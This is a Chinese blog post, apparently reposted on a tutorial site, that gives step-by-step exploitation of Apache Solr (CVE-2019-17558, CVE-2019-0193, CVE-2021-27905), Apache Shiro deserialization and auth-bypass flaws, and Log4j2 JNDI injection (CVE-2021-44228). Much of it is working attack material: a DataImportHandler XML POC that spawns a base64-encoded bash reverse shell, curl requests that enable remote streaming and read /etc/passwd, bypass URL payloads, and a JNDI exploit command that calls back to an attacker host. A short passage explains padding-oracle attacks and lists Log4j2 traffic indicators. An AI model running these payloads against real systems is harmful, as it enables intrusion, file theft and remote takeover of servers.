Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行

这篇具有很好参考价值的文章主要介绍了Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行

solr 远程命令执行 (CVE-2019-17558)

漏洞简介

Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

影响范围

Apache Solr 5.0.0版本至8.3.1版本

默认端口

8983

漏洞复现

POC下载 solr_rce

 python2 .\solr_rce.py 目标IP 命令

solr 远程命令执行漏洞(CVE-2019-0193)

影响范围

Apache Solr < 8.2.0版本

利用条件

条件1:Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)
条件2:Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)

漏洞复现

使用得vulhub得靶场,需要提前创建一个core才能进行复现
使用vulhub创建名为test得core

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

Solr Admin UI未开启鉴权认证就是可以直接访问如下界面,默认得配置就可以直接访问
Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行
选择已有核心后选择Dataimport功能并选择debug模式,更改填入以下POC,点击Execute with this Confuguration
Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行
POC:

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,反弹shellbase64加密}|{base64,-d}|{bash,-i}");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

Solr 文件读取&SSRF (CVE-2021-27905)

漏洞简介

该漏洞是由于没有对输入的内容进行校验,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行SSRF攻击,最终造成任意读取服务器上的文件。

影响范围

Apache Solr <= 8.8.1

漏洞复现

这里启动环境访问之后创建core会报错
Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行
需要进入容器复制配置文件到core文件夹
进入容器

docker exec -it 容器id /bin/bash

复制配置文件

cp -r server/solr/configsets/_default/conf /var/solr/data/new_core

完成后再次创建即可成功创建
Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行
直接访问该路径查看core

/solr/admin/cores?indexInfo=false&wt=json

Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行
使用curl命令访问触发

curl -i -s -k -X $'POST'
-H $'Content-Type: application/json' --data-binary $'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
$'http://目标地址/solr/core名称/config'

curl
-i 查看header头信息
-s 不输出统计信息
-k 使用能忽略证书不受信问题
-X 指定POST请求
-H 添加http请求的标头
-d 用于发送post请求的数据体

Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行

直接文件读取

curl -i -s -k 'http://目标主机/solr/core名称/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行

Shiro-550反序列化漏洞(CVE-2016-4437)

影响范围

Apache Shiro<=1.2.4

组件特征

在登录框处存在记住我选项,在数据包或返回数据包中存在rememberMe字段

漏洞原理

shiro550:加密过程,将用户身份进行序列化处理,然后进行AES加密,最后使用base64编码,解密过程将用户身份进行base64解码,再使用AES解密,然后将数据进行反序列化处理,在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,默认使用默认的key,key并不会变化,我们可以对key进行碰撞枚举,从而伪造序列化数据。

漏洞复现

利用工具
shiro_attack

Shiro-721反序列化漏洞(CVE-2019-12422)

漏洞原理

加密过程中使用了AES-128进行加密,并且加密的所使用的key是随机生成的,只有当我们获得了一个有效的身份认证后才可以进行下一阶段,因此shiro721必须得到一个可以有效的cookie,通过padding oracle填充算法攻击,通过填充信息不同响应时间来逐步判断出加密密钥,从而伪造序列化数据。

Padding Oracle Attack原理

Padding Oracle攻击可以在没有密钥的情况下加密或解密密文

Shiro Padding Oracle Attack(Shiro填充Oracle攻击)是一种针对Apache Shiro身份验证框架的安全漏洞攻击。Apache Shiro是Java应用程序中广泛使用的身份验证和授权框架,用于管理用户会话、权限验证等功能。

Padding Oracle Attack(填充Oracle攻击)是一种针对加密算法使用填充的安全漏洞攻击。在加密通信中,填充用于将明文数据扩展到加密算法块大小的倍数。在此攻击中,攻击者利用填充的响应信息来推断出加密算法中的秘密信息。

Shiro Padding Oracle Attack利用了Shiro框架中的身份验证过程中的一个漏洞,该漏洞允许攻击者通过填充信息的不同响应时间来确定身份验证过程中的错误。通过不断尝试不同的填充方式,攻击者可以逐步推断出加密秘钥,并最终获取访问权限。

这种攻击利用了填充错误的身份验证响应来获取关于秘密信息的信息泄漏,然后根据这些信息进行进一步的攻击。为了防止Shiro Padding Oracle Attack,建议及时更新Apache Shiro版本,确保已修复该漏洞,并采取其他安全措施,如使用安全的加密算法和密钥管理策略。

漏洞复现

利用工具同上shiro_attack

Apache Shiro 身份验证绕过漏洞 (CVE-2020-11989)

影响范围

Apache Shiro < 1.7.1

漏洞利用

Poc:/admin/%20

Apache Shiro 认证绕过漏洞 (CVE-2020-1957)

影响范围

Apache Shiro < 1.5.3

漏洞利用

Poc:/xxx/..;/admin/

Apache Shiro 授权绕过漏洞(CVE-2022-32532)

影响范围

Apache Shiro < 1.9.1

漏洞利用

Poc: /permit/any
/permit/a%0any可绕过

Log4j2远程命令执行(CVE-2021-44228)

影响范围

Apache Log4j2 2.0 - 2.15.0-rc1

漏洞复现

  1. 生成反弹Shell的JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64加密反弹shell}|{base64,-d}|{bash,-i}" -A 攻击机地址

工具地址JNDI-Injection-Exploit
文章来源地址https://www.toymoban.com/news/detail-711632.html

  1. 构造JNDI注入Payload提交
${jndi:rmi://伪造class文件}

攻击流量特征

  • 使用${等关键符号
  • 使用了jdni接口
  • 使用rmi、ldap、协议等

到了这里,关于Solr Shiro Log4j2 命令执行--文件读取--反序列化--身份权限绕过--命令执行的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 深入理解 SpringBoot 日志框架:从入门到高级应用——(五)Log4j2配置文件详解

    Log4j2 官方文档:https://logging.apache.org/log4j/2.x/manual/index.html Log4j2 是一个Java日志框架,用于记录应用程序在运行时的信息。它是 Log4j 的升级版本,提供了更快的处理速度,更快的日志记录和更丰富的日志记录功能,并支持异步日志记录,减少了对应用程序性能的影响。它可以

    2024年02月05日
    浏览(34)
  • log4j2漏洞分析

    和前面的JNDI注入时用的代码差不多 如果要引入log4j2的jar包可以这么配置Maven的pom.xml 还要创建个配置文件 log4j2这个漏洞当时爆出来的时候堪称是核弹级别的,危害非常大,利用还非常简单,既然如此,那我们肯定要分析一下漏洞相关的原理来学习一下 这个漏洞是个JNDI注入漏

    2024年02月09日
    浏览(38)
  • Log4j2的Configuration详解

    官方配置文档: https://logging.apache.org/log4j/2.x/manual/filters.html 根节点 Configuration 参数介绍: Attribute Name Description name The name of the configuration. monitorInterval Log4j has the ability to automatically detect changes to the configuration file and reconfigure itself。 即动态加载,单位是秒。可自定义配置,最小

    2023年04月09日
    浏览(31)
  • Spring Boot 配置 log4j2

    本教程中,我们将学习如何在 Spring Boot 中整合使用 Log4j2 日志框架。 Spring Boot 中默认使用 Logback 作为日志框架,接下来我们将学习如何在 Spring Boot 中集成与配置 Log4j2。在配置之前,我们需要知道的是 Log4j2 是 Log4j 的升级版,它在 Log4j 的基础上做了诸多改进: 1.异步日志;

    2024年02月08日
    浏览(29)
  • springboot 日志管理之 log4j2

    1、log4j2 简介         Apache Log4j2是对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。 被誉为是目前最优秀的Java日志框架。 2、项中引入 log4j2 的方式 2.1、springboot 项目中 2.2、普通 java 项目中 3、在项

    2024年01月15日
    浏览(37)
  • Spring6入门 + Log4j2

    JDK:Java17+ (Spring6要求JDK最低版本是Java17) Maven:3.6+ Spring:6.0.2 (1)构建父模块spring6 在idea中,依次单击 File - New - Project - New Project 点击“Create”,删除src目录,准备创建子工程 (2)构建子模块spring6-first 点击 Create 完成 3.1、引入依赖 https://spring.io/projects/spring-framework#le

    2024年02月07日
    浏览(29)
  • SpringBoot整合Log4j2日志框架

    SpringBoot底层默认使用logback日志框架。 切换使用Log4j2日志框架。 pom.xml配置 log4j2-spring.xml 文件命名固定 log4j2-spring.xml ,让SpringBoot加载配置文件。 文件名为 log4j2.xml ,文件将绕过SpringBoot直接调用日志框架。 控制台日志输出信息 日志文件生成 说明:日志文件生成在当前项目下

    2024年03月09日
    浏览(42)
  • 【springboot】--集成log4j2日志功能

    springboot2.0版本默认集成logback日志框架,由于项目业务采集各种日志(系统日志、接口调用日志、业务日志)等,需要做一些定制化的业务。为了,这里介绍如何集成log4j2,按照规格输出日志,另外按照要求输出成文件。下面将具体介绍! pom引入

    2024年02月12日
    浏览(50)
  • Java日志框架JUL、Log4j、logback、log4j2使用

    随着软件系统的发展系统业务越来越多、逻辑越来越复杂、代码量越来越多,伴随着容易出现的bug也会越来越多,不论是开发测试阶段还是生产阶段都需要将这些错误及时的捕捉记录下来,方便解决这些问题,否则针对出现的异常无从下手;此时就需要一些日志框架来完成这

    2024年02月15日
    浏览(35)
  • 使用Log4j与log4j2配置mybatisplus打印sql日志

    环境:项目非完全spring项目,没有spring的配置文件。执行sql时老是不打印sql语句。因此进行修改,过程比较坎坷,记录一下。 我尝试使用log4j和log4j2进行配置 最终把这两种全部配置记录上 Log4j配置 如果项目用的是log4j需要进行配置打印sql的步骤 首先引入log4j的包 配置一下l

    2024年02月04日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包